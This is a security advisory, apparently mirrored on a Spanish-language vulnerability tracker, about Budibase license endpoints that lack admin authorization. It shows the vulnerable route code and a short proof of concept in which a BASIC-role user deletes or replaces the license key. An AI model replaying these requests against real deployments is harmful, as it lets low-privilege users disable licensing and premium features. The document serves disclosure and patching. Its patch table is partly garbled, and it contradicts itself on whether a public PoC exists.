GHSA-4WR8-5C3P-RJCR
Missing Authorization on License Management Endpoints Allows Any Authenticated User to Delete License
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4WR8-5C3P-RJCR divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
All license management endpoints (`/api/global/license/*`) are accessible to any authenticated user regardless of role. A user with BASIC role (lowest privilege) can delete the license key, activate a different license, or manipulate offline license tokens — operations that should be restricted to administrators. This is a broken access control vulnerability where admin middleware was never added to the license routes.
Details
Vulnerable file: `packages/worker/src/api/routes/global/license.ts`, lines 18-37
All license endpoints are registered on `loggedInRoutes`, which only requires authentication — no role-based authorization:
loggedInRoutes
.post("/api/global/license/refresh", controller.refresh)
.get("/api/global/license/usage", controller.getQuotaUsage)
.post("/api/global/license/key", activateLicenseKeyValidator, controller.activateLicenseKey)
.get("/api/global/license/key", controller.getLicenseKey)
.delete("/api/global/license/key", controller.deleteLicenseKey)
.post("/api/global/license/offline", activateOfflineLicenseValidator, controller.activateOfflineLicenseToken)
.delete("/api/global/license/offline", controller.deleteOfflineLicenseToken)The endpoint group system in `packages/worker/src/api/routes/endpointGroups/standard.ts`:
export const adminRoutes = endpointGroupList.group(auth.adminOnly) // requires admin
export const loggedInRoutes = endpointGroupList.group() // NO role checkEvery other comparable admin-sensitive route correctly uses `adminRoutes`:
- `configs.ts` — config save/delete → `adminRoutes`
- `users.ts` — user bulk ops/deletion → `adminRoutes`
- `roles.ts` — all endpoints → `builderOrAdminRoutes`
The license controller and the pro SDK layer perform no additional authorization checks.
Git history confirms this was an oversight: the license routes were created in March 2022 (commit `7698e929`) without `auth.adminOnly`, and the July 2025 route refactoring (commit `e0bd4cf5`) mechanically preserved the missing authorization by placing everything into `loggedInRoutes`.
PoC
Step 1 — Login as a BASIC user (no builder/admin privileges):
POST /api/global/auth/default/login HTTP/1.1
Content-Type: application/json
{"username": "basicuser@example.com", "password": "password"}Step 2 — Delete the license key:
DELETE /api/global/license/key HTTP/1.1
Cookie: <basic-user-session>Response: `HTTP 204 No Content` — license key deleted.
Step 3 — Additional operations confirmed accessible as BASIC user:
POST /api/global/license/refresh → 200 {"message": "License refreshed."}
DELETE /api/global/license/key → 204 (license deleted)
POST /api/global/license/key → accessible (can activate different license)
DELETE /api/global/license/offline → accessible (can remove offline tokens)All tested and confirmed on Budibase v3.34.6.
Impact
- Denial of Service: Any authenticated user can delete the license key, downgrading the entire deployment and disabling premium features (SSO, granular RBAC, audit logs) for all users
- License manipulation: A basic user can activate a different license key, replacing a legitimate enterprise license
- Affects all multi-user deployments: Any instance with non-admin users is vulnerable
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.41.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-4wr8-5c3p-rjcrLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
